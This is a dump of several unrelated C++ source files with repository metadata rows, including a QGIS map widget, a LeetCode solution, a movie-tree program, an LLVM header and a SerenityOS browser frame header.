dnThemTaskSpecBath = NULL;
return;
#endif
}
/*
void KKSGISWidgetBase::azLoadLayer(QgsMapLayer *theMapLayer, bool isExtent)
{
QgsMapLayerRegistry::instance()->addMapLayer(theMapLayer, TRUE);
//create a layerset
QList<QgsMapCanvasLayer> myList;
QString l;
for (int i = 0; i < mpMapCanvas->layers().size(); i++)
{
myList.append(QgsMapCanvasLayer(mpMapCanvas->layers().at(i)));
}
// Add the layers to the Layer Set
myList.append(QgsMapCanvasLayer(theMapLayer, TRUE));//bool visibility
// l.setNum(myList.size());
// QMessageBox::information(this,"a", l);
// set the canvas to the extent of our layer if it need
if (isExtent)
{
mpMapCanvas->setExtent(theMapLayer->extent());
}
// Set the Map Canvas Layer Set
mpMapCanvas->setLayerSet(myList);
}
*/
long KKSGISWidgetBase::azGetEPSG(const QString rastrPath)
{
QFileInfo pFileInfo(rastrPath);
if (!pFileInfo.isFile()) // проверка существования файла
{
return -1;
}
QgsRasterLayer * pRLayer = new QgsRasterLayer(pFileInfo.filePath(), pFileInfo.completeBaseName());
return pRLayer->crs().srsid();
}
/*
void KKSGISWidgetBase::SLOTmpActionAddVectorLayer()
{
QString fullLayerName = QFileDialog::getOpenFileName(this, "Добавить векторный слой",
"", "Все поддерживаемые форматы(*.shp);;Shapefiles (*.shp)");
openVectorLayer(fullLayerName);
}
*/
/*
void KKSGISWidgetBase::SLOTmpActionAddPostGISLayer()
{
openDatabaseLayer();
}
*/
/*
void KKSGISWidgetBase::SLOTmpActionAddRasterLayer()
{
// СЛОТ: добавление растра в окно карты
// сначала вызываем диалог, получаем путь к файлу
QString fullLayerName = QFileDialog::getOpenFileName(this, "Добавить растровый слой", "",
"Все поддерживаемые растровые форматы (*.img *.asc *.tif *tiff *.bmp *.jpg *.jpeg);;Geotiff (*.tif *.tiff)");
openRasterLayer(fullLayerName);
}
*/
void KKSGISWidgetBase::SLOTazThemTaskSpectralBathynometry()
{
#ifdef WIN32
//ksa -- if (dnThemTaskSpecBath == NULL);
if (dnThemTaskSpecBath != NULL)
{
delete dnThemTaskSpecBath;
}
dnThemTaskSpecBath = new DNSpecBath(this);
connect(this->dnThemTaskSpecBath, SIGNAL(SIGNALcreateVector()), this, SLOT(SLOTmpActionVectorize()));
dnThemTaskSpecBath->show();
// QMessageBox::about(0, "a", "a");
// QFileInfo pFile("D:/!Share/layers/baba.shp");
// this->azAddLayerVector(pFile);
#endif
}
/********************************************************/
/********************************************************/
/********************************************************/
void KKSGISWidgetBase::showIOEditor(QWidget * parent, const QString & uid)
{
emit signalShowIOEditor(parent, uid);
}
bool KKSGISWidgetBase::featureFromEIO(QWidget * parent, QgsFeature & feature, const QString & geomAsEWKT, const QString & layerTable)
{
emit signalFeatureFromEIO(parent, feature, geomAsEWKT, layerTable);
if(feature.attribute(feature.fieldNameIndex("unique_id")).toString().isEmpty())
return false;
return true;
}
bool KKSGISWidgetBase::deleteFeaturesAsEIO(QWidget * parent, const QString & tableName, const QList<qint64> & ids)
{
emit signalDeleteFeaturesAsEIO(parent, tableName, ids);
return true;
}
void KKSGISWidgetBase::slotUpdateMapByNotify(const QString & nName, const QString & tableName, const QString & idRecord)
{
const QMap<QString, QgsMapLayer *> layers = QgsMapLayerRegistry::instance()->mapLayers();
if(layers.count() == 0)
return;
QMap<QString, QgsMapLayer *>::const_iterator pa;
QgsVectorLayer * changedLayer = NULL;
for (pa = layers.constBegin(); pa != layers.constEnd(); pa++)
{
QgsMapLayer * layer = pa.value();
if(layer->type() != QgsMapLayer::VectorLayer)
continue;
QgsVectorLayer * vLayer = (QgsVectorLayer*)layer;
QString providerName = vLayer->dataProvider()->name();
if(providerName != "postgres")
continue;
QString uri = vLayer->dataProvider()->dataSourceUri();
QStringList uriSections = uri.split(" ");
QString layerTable;
for(int i=0; i<uriSections.count(); i++){
QString & sec = uriSections[i];
if(sec.startsWith("table=")){
QStringList tableSec = sec.split("=");
if(tableSec.count() != 2){
break;
}
QString fullTableName = tableSec[1];
QStringList tableNameSec = fullTableName.split(".");
if(tableNameSec.count() != 2){
break;
}
layerTable = tableNameSec[1];
layerTable.replace("\"", "");
break;
}
}
if(layerTable != tableName)
continue;
//vLayer->reload();
//mpMapCanvas->refresh();
changedLayer = vLayer;
break;
}
if(!changedLayer)
return;
QgsFeature f;
QgsFeatureRequest fr(QString("unique_id = '%1'").arg(idRecord) );
QgsFeatureIterator fi = changedLayer->getFeatures(fr);
bool ok = fi.nextFeature(f);
//bool ok = changedLayer->updateFeature(f);
if(!ok){
int a=0;
return;
}
}
void KKSGISWidgetBase::refreshMapCanvasOnly()
{
mapCanvas()->refresh();
}
bool KKSGISWidgetBase::saveProjectAs(const QString & m_path)
{
// Retrieve last used project dir from persistent settings
QSettings settings;
QString lastUsedDir = settings.value( "/UI/lastProjectDir", "." ).toString();
QString path = m_path;
if ( path.isEmpty() ){
path = QFileDialog::getSaveFileName( this,
tr( "Choose a file name to save the QGIS project file as" ),
lastUsedDir + "/" + QgsProject::instance()->title(),
tr( "QGIS files" ) + " (*.qgs *.QGS)" );
}
if ( path.isEmpty() )
return false;
QFileInfo fullPath( path );
settings.setValue( "/UI/lastProjectDir", fullPath.path() );
// make sure the .qgs extension is included in the path name. if not, add it...
if ( "qgs" != fullPath.suffix().toLower() )
{
fullPath.setFile( fullPath.filePath() + ".qgs" );
}
QgsProject::instance()->setFileName( fullPath.filePath() );
if ( QgsProject::instance()->write() )
{
//ksa setTitleBarText_( *this ); // update title bar
statusBar()->showMessage( tr( "Saved project to: %1" ).arg( QgsProject::instance()->fileName() ), 5000 );
// add this to the list of recently used project files
saveRecentProjectPath( fullPath.filePath(), settings );
}
else
{
QMessageBox::critical( this,
tr( "Unable to save project %1" ).arg( QgsProject::instance()->fileName() ),
QgsProject::instance()->error(),
QMessageBox::Ok,
Qt::NoButton );
return false;
}
return true;
}
bool KKSGISWidgetBase::saveProject()
{
return fileSave();
}
QString KKSGISWidgetBase::projectFileName()
{
return QgsProject::instance()->fileName();
}
//возвращает абсолютный путь к файлу слоя, который прочитан из файла проекта QGIS
QString KKSGISWidgetBase::readLayerFilePath(const QString & file) const
{
return QgsProject::instance()->readPath(file);
}
void KKSGISWidgetBase::reloadLayer(const QString & theLayerId)
{
QgsMapLayerRegistry::instance()->mapLayer(theLayerId)->reload();
//mpMapCanvas->refresh();
}
|
a94a57eeffbb137676a8d6b3aeb70a18090bf66c
|
1fb184d3ec684f2778cdc78b8c84fcc4c523a377
|
/373.find-k-pairs-with-smallest-sums.143435058.ac.cpp
|
b6d466855dd7f5b2363f62cebb6fc65e4af8cea3
|
[] |
no_license
|
karangoel16/leetcode
|
bfc71575ef4a7d265f787240acd719c3cd4751a3
|
46230adcd1e4ef4cee93dac92da6351478476cb5
|
refs/heads/master
| 2021-04-26T23:40:56.157769
| 2018-05-06T23:30:46
| 2018-05-06T23:30:46
| 123,836,776
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,605
|
cpp
|
373.find-k-pairs-with-smallest-sums.143435058.ac.cpp
|
/*
* [373] Find K Pairs with Smallest Sums
*
* https://leetcode.com/problems/find-k-pairs-with-smallest-sums/description/
*
* algorithms
* Medium (31.20%)
* Total Accepted: 38.3K
* Total Submissions: 122.9K
* Testcase Example: '[1,7,11]\n[2,4,6]\n3'
*
*
* You are given two integer arrays nums1 and nums2 sorted in ascending order
* and an integer k.
*
*
* Define a pair (u,v) which consists of one element from the first array and
* one element from the second array.
*
* Find the k pairs (u1,v1),(u2,v2) ...(uk,vk) with the smallest sums.
*
*
* Example 1:
*
* Given nums1 = [1,7,11], nums2 = [2,4,6], k = 3
*
* Return: [1,2],[1,4],[1,6]
*
* The first 3 pairs are returned from the sequence:
* [1,2],[1,4],[1,6],[7,2],[7,4],[11,2],[7,6],[11,4],[11,6]
*
*
*
* Example 2:
*
* Given nums1 = [1,1,2], nums2 = [1,2,3], k = 2
*
* Return: [1,1],[1,1]
*
* The first 2 pairs are returned from the sequence:
* [1,1],[1,1],[1,2],[2,1],[1,2],[2,2],[1,3],[1,3],[2,3]
*
*
*
* Example 3:
*
* Given nums1 = [1,2], nums2 = [3], k = 3
*
* Return: [1,3],[2,3]
*
* All possible pairs are returned from the sequence:
* [1,3],[2,3]
*
*
*
* Credits:Special thanks to @elmirap and @StefanPochmann for adding this
* problem and creating all test cases.
*/
class Solution {
public:
vector<pair<int, int>> kSmallestPairs(vector<int>& nums1, vector<int>& nums2, int k) {
int size1=nums1.size();
int size2=nums2.size();
if(!size1 || !size2)
return {};
vector<pair<int,int>> res;
auto comp=[&](pair<int,int> &a,pair<int,int> &b){
return nums1[a.first]+nums2[a.second]>nums1[b.first]+nums2[b.second];
};
priority_queue<pair<int,int>, vector<pair<int,int>>, decltype(comp)> pq(comp);
pq.push({0,0});
vector<int> x_mov={0,1};
vector<int> y_mov={1,0};
vector<vector<bool>> visited(size1,vector<bool>(size2,false));
visited[0][0]=true;
while(k>0 && !pq.empty()){
auto temp=pq.top();
pq.pop();
res.push_back({nums1[temp.first],nums2[temp.second]});
k--;
for(int i=0;i<2;i++)
{
int temp_x=temp.first+x_mov[i];
int temp_y=temp.second+y_mov[i];
if(temp_x>=0 && temp_x<size1 && temp_y>=0 && temp_y<size2 && !visited[temp_x][temp_y] ){
pq.push({temp_x,temp_y});
visited[temp_x][temp_y]=true;
}
}
}
return res;
}
};
|
28b25fcf4d4eeb9242aa14e88f23e5554bea7b7a
|
0058cec215cb172451e24ae30b40c21aa8f5d5d4
|
/qt_miniprogs/Калькулятор/mainwindow.h
|
22c88b4d901501802b575988877584837858f210
|
[] |
no_license
|
lzv/other
|
855da338cd76f8ca48822b967a679e29ae76bca0
|
41e9593a6dd92083456372dc3f8381a6096b47a2
|
refs/heads/master
| 2021-01-22T09:05:07.373808
| 2013-05-20T12:48:12
| 2013-05-20T12:48:12
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 428
|
h
|
mainwindow.h
|
#ifndef MAINWINDOW_H
#define MAINWINDOW_H
#include <QtGui>
class MainWindow : public QWidget {
Q_OBJECT
private:
QLCDNumber * displ;
QStack<QString> stk;
QString dstr;
public:
MainWindow (QWidget * = 0);
QPushButton * createButton (const QString &);
void calculate ();
double calculate_req ();
bool is_operation (const QChar &);
public slots:
void ButtonClicked ();
};
#endif // MAINWINDOW_H
|
d6c62f4d9874ecccf9c43e37ac286896745be21a
|
e24a366a7ac5dfb5975a468046c8626a9d56fa6d
|
/Obfuscator/Source/include/llvm/DebugInfo/CodeView/TypeRecordHelpers.h
|
389472ed1aeae1c1fefca14614693f7e0deb2ae5
|
[
"NCSA",
"MIT"
] |
permissive
|
fengjixuchui/iOS-Reverse
|
01e17539bdbff7f2a783821010d3f36b5afba910
|
682a5204407131c29588dd22236babd1f8b2889d
|
refs/heads/master
| 2021-06-26T17:25:41.993771
| 2021-02-11T10:33:32
| 2021-02-11T10:33:32
| 210,527,924
| 0
| 0
|
MIT
| 2021-02-11T10:33:33
| 2019-09-24T06:26:57
| null |
UTF-8
|
C++
| false
| false
| 947
|
h
|
TypeRecordHelpers.h
|
//===- TypeRecordHelpers.h --------------------------------------*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#ifndef LLVM_DEBUGINFO_CODEVIEW_TYPERECORDHELPERS_H
#define LLVM_DEBUGINFO_CODEVIEW_TYPERECORDHELPERS_H
#include "llvm/DebugInfo/CodeView/TypeRecord.h"
namespace llvm {
namespace codeview {
/// Given an arbitrary codeview type, determine if it is an LF_STRUCTURE,
/// LF_CLASS, LF_INTERFACE, LF_UNION, or LF_ENUM with the forward ref class
/// option.
bool isUdtForwardRef(CVType CVT);
/// Given a CVType which is assumed to be an LF_MODIFIER, return the
/// TypeIndex of the type that the LF_MODIFIER modifies.
TypeIndex getModifiedType(const CVType &CVT);
}
}
#endif
|
dd66bcf70212305c71d65d9b724e12b55f8feadd
|
b92d156fcd80f3229198fea2829191948a28c885
|
/Assignment7.cpp
|
8f08cf2bbcea8107e10c849c9915a7a23443ab19
|
[] |
no_license
|
DanielVelasco/Assignment7_2015
|
293fa4345ecd236a3e74baa8a3fd0b7af1e14062
|
7de7ad8ab6c7e51569b70237a35c20fca1e34821
|
refs/heads/master
| 2021-01-16T19:34:21.661044
| 2015-03-13T16:12:08
| 2015-03-13T16:12:08
| 32,166,221
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 4,971
|
cpp
|
Assignment7.cpp
|
#include <iostream>
#include <fstream>
#include <string>
//#include <sstream>
#include <cstring>
#include <cstdlib>
#include <json/json.h>
#include <stdio.h>
#include "MovieTree.h"
using namespace std;
int main(int argc, char* argv[])
{
MovieTree* MovieTreeInit = new MovieTree();
MovieTreeInit->InitOutputJsonObject();
string str;
std::ifstream in(argv[1]);
std::string text;
string temp[4];
string tempWord ="";
int counter = 0;
while (std::getline(in, text))
{
for(int i=0;i<text.length();i++)
{
const char* strdata = text.c_str();
if(strdata[i]!=44)
{
tempWord += text[i];
}else
{
temp[counter] = tempWord;
tempWord ="";
counter++;
} if(i == text.length()-1){
temp[3] = tempWord;
counter = 0;
tempWord ="";
}
}
counter = 0;
tempWord = "";
string title = temp[1];
int year = atoi(temp[2].c_str() );
int rating = atoi(temp[0].c_str());
int quantity = atoi(temp[3].c_str());
MovieNode *tempNode = new MovieNode(rating,title,year,quantity);
MovieTreeInit->rbAddFixup(tempNode);
temp[0].clear();
temp[1].clear();
temp[2].clear();
temp[3].clear();
}
int choice = 0;
do
{
cout
<< "======Main Menu=====" << endl
<< "1. Rent a movie" << endl
<< "2. Print the inventory" << endl
<< "3. Delete a movie" << endl
<< "4. Count the movies" << endl
<< "5. Count the longest path" << endl
<< "6. Quit" << endl;
cin >> choice;
if(choice == 1)
{
cin.ignore();
string mystr;
cout << "Enter title:" << endl;
getline (cin, mystr);
MovieTreeInit->MovieFound = 0;
MovieTreeInit->searchMovieTree(MovieTreeInit->root,mystr,MovieTreeInit->Assignment6Output);
if(MovieTreeInit->MovieFound == 0)
{
MovieTreeInit->MovieSearchFound = MovieTreeInit->root;
MovieTreeInit->MovieSearchFound->quantity = 0;
cout << "Movie not found" << endl;
}
MovieTreeInit->AddToJson("rent",mystr, MovieTreeInit->MovieSearchFound);
if(MovieTreeInit->MovieSearchFound->quantity ==0)
{
MovieTreeInit->AddToJson("delete",mystr, MovieTreeInit->MovieSearchFound);
}
}if(choice == 2)
{
MovieTreeInit->jArray = json_object_new_array();
MovieTreeInit->printMovieInventory(MovieTreeInit->root, MovieTreeInit->Assignment6Output);
MovieTreeInit->AddToJson("traverse","none specified",MovieTreeInit->root);
}if(choice == 3)
{
cin.ignore();
string mystr;
cout << "Enter title:" << endl;
getline (cin, mystr);
MovieTreeInit->jArray = json_object_new_array();
MovieTreeInit->MovieFound = 0;
MovieTreeInit->IsMovieInTree(mystr,MovieTreeInit->root);
cout << MovieTreeInit->MovieFound << endl;
if(MovieTreeInit->MovieFound == 1)
{
MovieTreeInit->deleteMovieNode(mystr);
}
MovieTreeInit->AddToJson("delete",mystr,MovieTreeInit->root);
}if(choice == 4)
{
MovieTreeInit->MovieCount = 1;
MovieTreeInit->countMovieNodes(MovieTreeInit->root);
cout << "There are " << MovieTreeInit->MovieCount << " movies in the tree." << endl;
MovieTreeInit->AddToJson("count","no parameter specified",MovieTreeInit->root);
}if(choice == 5)
{
MovieTreeInit->HeightTree = MovieTreeInit->countLongestPath(MovieTreeInit->root);
MovieTreeInit->AddToJson("height","no parameter specified",MovieTreeInit->root);
}if(choice == 6)
{
cout << "Goodbye!" << endl;
cout<<json_object_to_json_string_ext(MovieTreeInit->Assignment6Output, JSON_C_TO_STRING_PRETTY)<<endl;
ofstream myfile;
myfile.open ("Assignment7Output.txt");
myfile << json_object_to_json_string_ext(MovieTreeInit->Assignment6Output, JSON_C_TO_STRING_PRETTY);
myfile.close();
break;
}
}while(choice != 6);
return 0;
}
|
65eadfd4dcd8a0f8979819a0b9bad2b3f8454f03
|
459fd5d2c4dfa8b9a2001ea6a062d8154e27da10
|
/Array_of_objects.cpp
|
9c7dafab2e89665f7d13b2379a161e1a3e591c2c
|
[] |
no_license
|
utkarsh2110/college-projects
|
d0a3b8ddd217a58ceac24aa0a17da3e7d83a858d
|
47713884b74ab130f29776610303a1d5b691c358
|
refs/heads/main
| 2023-08-22T10:02:06.579083
| 2021-10-29T11:00:18
| 2021-10-29T11:00:18
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,421
|
cpp
|
Array_of_objects.cpp
|
#include <iostream>
#include <conio.h>
using namespace std;
class playerDetails
{
string name;
string region;
float battingAvg;
float bowlingAvg;
public:
void readData();
void generateList();
static void sortList(playerDetails List[]);
static void displayList(playerDetails List[]);
};
int i;
int j = 0;
playerDetails player[3], List[3];
void playerDetails ::readData()
{
cout << "Enter player's name: ";
getline(cin, player[i].name);
cout << "Enter their region: ";
cin >> player[i].region;
cout << "Enter their batting average: ";
cin >> player[i].battingAvg;
cout << "Enter their bowling average: ";
cin >> player[i].bowlingAvg;
cin.ignore();
cout << endl;
}
void playerDetails ::generateList()
{
if (player[i].battingAvg > 30 && player[i].bowlingAvg < 25)
{
List[j].name = player[i].name;
List[j].region = player[i].region;
List[j].battingAvg = player[i].battingAvg;
List[j].bowlingAvg = player[i].bowlingAvg;
j++;
}
}
void playerDetails ::sortList(playerDetails List[])
{
cout << "Sorted List on the basis of batting avg:" << endl;
for (int x = 0; x < j - 1; x++)
{
for (int y = 0; y < j - x - 1 ; y++)
{
if (List[y].battingAvg > List[y + 1].battingAvg)
{
swap(List[y], List[y + 1]);
}
}
}
displayList(List);
cout << "Sorted List on the basis of bowling avg:" << endl;
for (int x = 0; x < j - 1; x++)
{
for (int y = 0; y < j - x - 1 ; y++)
{
if (List[y].bowlingAvg > List[y + 1].bowlingAvg)
{
swap(List[y], List[y + 1]);
}
}
}
displayList(List);
}
void playerDetails ::displayList(playerDetails List[])
{
for (int i = 0; i < j; i++)
{
cout << endl << "Player name: " << List[i].name << endl;
cout << "Region: " << List[i].region << endl;
cout << "Batting Average: " << List[i].battingAvg << endl;
cout << "Bowling Average: " << List[i].bowlingAvg << endl << endl;
}
}
int main()
{
while (i != 3)
{
player[i].readData();
player[i].generateList();
i++;
}
playerDetails :: sortList(List);
_getch();
}
|
3ef3eca2088a8d0ec1b563bbf0c2323e98549379
|
81477493a5faa75ab7c6652740396925903e904e
|
/1536D.cpp
|
19f3f4c0df7bdecd1309f53648f7186c2734271f
|
[] |
no_license
|
Unknown15082/Codeforces-CP
|
b883158d5c07e89d009dc6f4cf99b78a70ac7d7a
|
468bf8d2d6004996aec12d0456d35f23094f1bb9
|
refs/heads/main
| 2023-06-07T05:50:11.374058
| 2021-06-16T15:52:13
| 2021-06-16T15:52:13
| 376,083,765
| 0
| 0
| null | 2021-06-12T06:30:08
| 2021-06-11T16:31:05
| null |
UTF-8
|
C++
| false
| false
| 3,177
|
cpp
|
1536D.cpp
|
#include <bits/stdc++.h>
using namespace std;
// Type
typedef long long ll;
typedef long double ld;
// Pair/Vector
typedef pair<int, int> ii;
typedef pair<ld, ld> dd;
typedef vector<ll> vi;
typedef vector<ld> vd;
typedef vector<ii> vii;
typedef vector<vi> vvi;
typedef vector<vii> vvii;
typedef vector<dd> vdd;
// I/O
#define prec(n) fixed << setprecision(n)
#define endl "\n"
// Const
#define PI acos(-1.0)
const int allmod[2] = {int(1e9)+7, 998244353};
const int mod = allmod[0];
const int maxn = 2e5+10;
const int inf = 2e9;
const ll llinf = 1e18;
void fastio(string finp = "", string fout = ""){
if (fopen(finp.c_str(), "r")){
freopen(finp.c_str(), "r", stdin);
freopen(fout.c_str(), "w", stdout);
}
}
#define int long long
struct Point{
int val, prev, next;
void __init__(int x, int y, int z){
val = x;
prev = y;
next = z;
}
};
int main_program(){
map<int, Point> mp;
int n; cin >> n;
int crr = 0, pcrr, ncrr;
int a; cin >> a;
mp[crr] = Point();
mp[crr].__init__(a, crr, crr);
bool f = true;
for (int i=1; i<n; i++){
cin >> a;
pcrr = mp[crr].prev;
ncrr = mp[crr].next;
if (a == mp[crr].val || a == mp[pcrr].val || a == mp[ncrr].val){
mp[i] = Point();
mp[i].__init__(a, crr, crr);
if (a == mp[crr].val){
crr = crr;
}
else if (a == mp[pcrr].val){
crr = pcrr;
}
else{
crr = ncrr;
}
}
else{
if (a < mp[crr].val){
if (pcrr == crr){
mp[i] = Point();
mp[i].__init__(a, i, crr);
mp[crr].prev = i;
}
else{
if (a < mp[pcrr].val){
f = false;
}
mp[i] = Point();
mp[i].__init__(a, pcrr, crr);
mp[pcrr].next = i;
mp[crr].prev = i;
}
}
else{
if (ncrr == crr){
mp[i] = Point();
mp[i].__init__(a, crr, i);
mp[crr].next = i;
}
else{
if (a > mp[ncrr].val){
f = false;
}
mp[i] = Point();
mp[i].__init__(a, crr, ncrr);
mp[crr].next = i;
mp[ncrr].prev = i;
}
}
crr = i;
}
}
if (f) cout << "YES\n";
else cout << "NO\n";
}
int pre_main(){
}
signed main(){
ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);
#ifndef ONLINE_JUDGE
fastio("input.txt", "output.txt");
#endif
int multitest = 1;
int t = 1;
if (multitest){
cin >> t;
}
pre_main();
while (t--){
main_program();
}
}
|
d3db73ea9fa00fc3471577d759770adc710bf977
|
7014fecedd9790f7cafea079ed28c72e1fd6180d
|
/include/RandomChoice.h
|
3358b2d816b3aa55e4d1eaac53fcc656d7443909
|
[] |
no_license
|
tobias17/NguSolver
|
42d39d799b24c26d88de551e4750733edf039a5c
|
9c3129a201f651f465362de43e4508605152ed2f
|
refs/heads/master
| 2023-05-05T02:03:49.344323
| 2021-06-04T20:23:00
| 2021-06-04T20:23:00
| 363,934,558
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,072
|
h
|
RandomChoice.h
|
#include <vector>
#include <random>
#include <cmath>
#define pow2(n) ( 1 << (n) )
// code adapted from: https://stackoverflow.com/questions/57599509/c-random-non-repeated-integers-with-weights
std::vector<int> randomWeightedChoice(int ntake, double* weights, int size) {
/* initialize random sampler */
unsigned int seed = 12345;
std::mt19937 rng(seed);
/* determine smallest power of two that is larger than N */
int tree_levels = ceil(log2((double) size));
/* initialize vector with place-holders for perfectly-balanced tree */
std::vector<double> tree_weights(pow2(tree_levels + 1));
/* compute sums for the tree leaves at each node */
int offset = pow2(tree_levels) - 1;
for (int ix = 0; ix < size; ix++) {
tree_weights[ix + offset] = weights[ix];
}
for (int ix = pow2(tree_levels+1) - 1; ix > 0; ix--) {
tree_weights[(ix - 1) / 2] += tree_weights[ix];
}
/* sample according to uniform distribution */
double rnd_subrange, w_left;
double curr_subrange;
int curr_ix;
std::vector<int> sampled(ntake);
for (int el = 0; el < ntake; el++) {
/* go down the tree by drawing a random number and
checking if it falls in the left or right sub-ranges */
curr_ix = 0;
curr_subrange = tree_weights[0];
for (int lev = 0; lev < tree_levels; lev++) {
rnd_subrange = std::uniform_real_distribution<double>(0, curr_subrange)(rng);
w_left = tree_weights[2 * curr_ix + 1];
curr_ix = 2 * curr_ix + 1 + (rnd_subrange >= w_left);
curr_subrange = tree_weights[curr_ix];
}
/* finally, add element from this iteration */
sampled[el] = curr_ix - offset;
/* now remove the weight of the chosen element */
tree_weights[curr_ix] = 0;
for (int lev = 0; lev < tree_levels; lev++) {
curr_ix = (curr_ix - 1) / 2;
tree_weights[curr_ix] = tree_weights[2 * curr_ix + 1] + tree_weights[2 * curr_ix + 2];
}
}
return sampled;
}
|
638d41a2889bb7e54ed0cc27b6ce76639b61da86
|
0fc63dea7e946528ba52b3c8a81e61e3ea838878
|
/include/stl2/detail/algorithm/for_each.hpp
|
7d0c9b63bb3da61e206757e26a0e4cc64cf6a3f5
|
[
"NCSA",
"MIT",
"BSL-1.0",
"LicenseRef-scancode-mit-old-style",
"LicenseRef-scancode-other-permissive"
] |
permissive
|
mmha/cmcstl2
|
6dbfcbfda68aaf52daf3b2734bbe029e8dfae63d
|
0841b662eae48251e10f87116ecee36dee6b30b5
|
refs/heads/master
| 2021-04-28T05:26:54.823378
| 2018-02-11T17:33:36
| 2018-02-11T17:33:36
| 122,179,229
| 1
| 0
| null | 2018-02-20T09:41:12
| 2018-02-20T09:41:12
| null |
UTF-8
|
C++
| false
| false
| 1,524
|
hpp
|
for_each.hpp
|
// cmcstl2 - A concept-enabled C++ standard library
//
// Copyright Casey Carter 2015
//
// Use, modification and distribution is subject to the
// Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
//
// Project home: https://github.com/caseycarter/cmcstl2
//
#ifndef STL2_DETAIL_ALGORITHM_FOR_EACH_HPP
#define STL2_DETAIL_ALGORITHM_FOR_EACH_HPP
#include <stl2/functional.hpp>
#include <stl2/iterator.hpp>
#include <stl2/utility.hpp>
#include <stl2/detail/algorithm/tagspec.hpp>
#include <stl2/detail/concepts/callable.hpp>
///////////////////////////////////////////////////////////////////////////
// for_each [alg.for_each]
//
STL2_OPEN_NAMESPACE {
template <InputIterator I, Sentinel<I> S, class F, class Proj = identity>
requires
IndirectUnaryInvocable<F, projected<I, Proj>>
tagged_pair<tag::in(I), tag::fun(F)>
for_each(I first, S last, F fun, Proj proj = Proj{})
{
for (; first != last; ++first) {
static_cast<void>(__stl2::invoke(fun, __stl2::invoke(proj, *first)));
}
return {std::move(first), std::move(fun)};
}
template <InputRange Rng, class F, class Proj = identity>
requires
IndirectUnaryInvocable<F, projected<iterator_t<Rng>, Proj>>
tagged_pair<tag::in(safe_iterator_t<Rng>), tag::fun(F)>
for_each(Rng&& rng, F fun, Proj proj = Proj{})
{
return {__stl2::for_each(__stl2::begin(rng), __stl2::end(rng),
std::ref(fun), std::ref(proj)).in(), std::move(fun)};
}
} STL2_CLOSE_NAMESPACE
#endif
|
3a96f216a2f1bb8bce7d2c05af4003073d36ca12
|
940c64332911665d5e44f7daa540e53a947ce390
|
/Userland/Libraries/LibWeb/Page/Frame.h
|
49370b86837344fb303e58423e775a929be0d5ef
|
[
"BSD-2-Clause"
] |
permissive
|
marprok/serenity
|
2260d0b97ed365219b7a46ddb5fff0ce17e58c7e
|
563cc17a50bda557ccd04d89cade5b4aa4b81e6d
|
refs/heads/master
| 2021-06-22T17:08:39.384341
| 2021-04-26T15:13:04
| 2021-04-26T17:08:40
| 361,833,559
| 1
| 0
|
BSD-2-Clause
| 2021-04-26T17:18:03
| 2021-04-26T17:18:03
| null |
UTF-8
|
C++
| false
| false
| 3,290
|
h
|
Frame.h
|
/*
* Copyright (c) 2018-2021, Andreas Kling <kling@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#pragma once
#include <AK/Function.h>
#include <AK/Noncopyable.h>
#include <AK/RefPtr.h>
#include <AK/WeakPtr.h>
#include <LibCore/Timer.h>
#include <LibGfx/Bitmap.h>
#include <LibGfx/Rect.h>
#include <LibGfx/Size.h>
#include <LibWeb/DOM/Position.h>
#include <LibWeb/Loader/FrameLoader.h>
#include <LibWeb/Page/EventHandler.h>
#include <LibWeb/TreeNode.h>
namespace Web {
class Frame : public TreeNode<Frame> {
public:
static NonnullRefPtr<Frame> create_subframe(DOM::Element& host_element, Frame& main_frame) { return adopt_ref(*new Frame(host_element, main_frame)); }
static NonnullRefPtr<Frame> create(Page& page) { return adopt_ref(*new Frame(page)); }
~Frame();
class ViewportClient {
public:
virtual ~ViewportClient() { }
virtual void frame_did_set_viewport_rect(const Gfx::IntRect&) = 0;
};
void register_viewport_client(ViewportClient&);
void unregister_viewport_client(ViewportClient&);
bool is_main_frame() const { return this == &m_main_frame; }
bool is_focused_frame() const;
const DOM::Document* document() const { return m_document; }
DOM::Document* document() { return m_document; }
void set_document(DOM::Document*);
Page* page() { return m_page; }
const Page* page() const { return m_page; }
const Gfx::IntSize& size() const { return m_size; }
void set_size(const Gfx::IntSize&);
void set_needs_display(const Gfx::IntRect&);
void set_viewport_scroll_offset(const Gfx::IntPoint&);
Gfx::IntRect viewport_rect() const { return { m_viewport_scroll_offset, m_size }; }
void set_viewport_rect(const Gfx::IntRect&);
FrameLoader& loader() { return m_loader; }
const FrameLoader& loader() const { return m_loader; }
EventHandler& event_handler() { return m_event_handler; }
const EventHandler& event_handler() const { return m_event_handler; }
void scroll_to_anchor(const String&);
Frame& main_frame() { return m_main_frame; }
const Frame& main_frame() const { return m_main_frame; }
DOM::Element* host_element() { return m_host_element; }
const DOM::Element* host_element() const { return m_host_element; }
Gfx::IntPoint to_main_frame_position(const Gfx::IntPoint&);
Gfx::IntRect to_main_frame_rect(const Gfx::IntRect&);
const DOM::Position& cursor_position() const { return m_cursor_position; }
void set_cursor_position(DOM::Position);
bool cursor_blink_state() const { return m_cursor_blink_state; }
String selected_text() const;
void did_edit(Badge<EditEventHandler>);
private:
explicit Frame(DOM::Element& host_element, Frame& main_frame);
explicit Frame(Page&);
void reset_cursor_blink_cycle();
void setup();
WeakPtr<Page> m_page;
Frame& m_main_frame;
FrameLoader m_loader;
EventHandler m_event_handler;
WeakPtr<DOM::Element> m_host_element;
RefPtr<DOM::Document> m_document;
Gfx::IntSize m_size;
Gfx::IntPoint m_viewport_scroll_offset;
DOM::Position m_cursor_position;
RefPtr<Core::Timer> m_cursor_blink_timer;
bool m_cursor_blink_state { false };
HashTable<ViewportClient*> m_viewport_clients;
};
}
|
bbe0b04ee299aec6474c5d3c7097bb5e7f181f84
|
6d70357753cba5ccacc9f1fcf6f7276b7d74e6d3
|
/internal/insight/minimizer/line_search.h
|
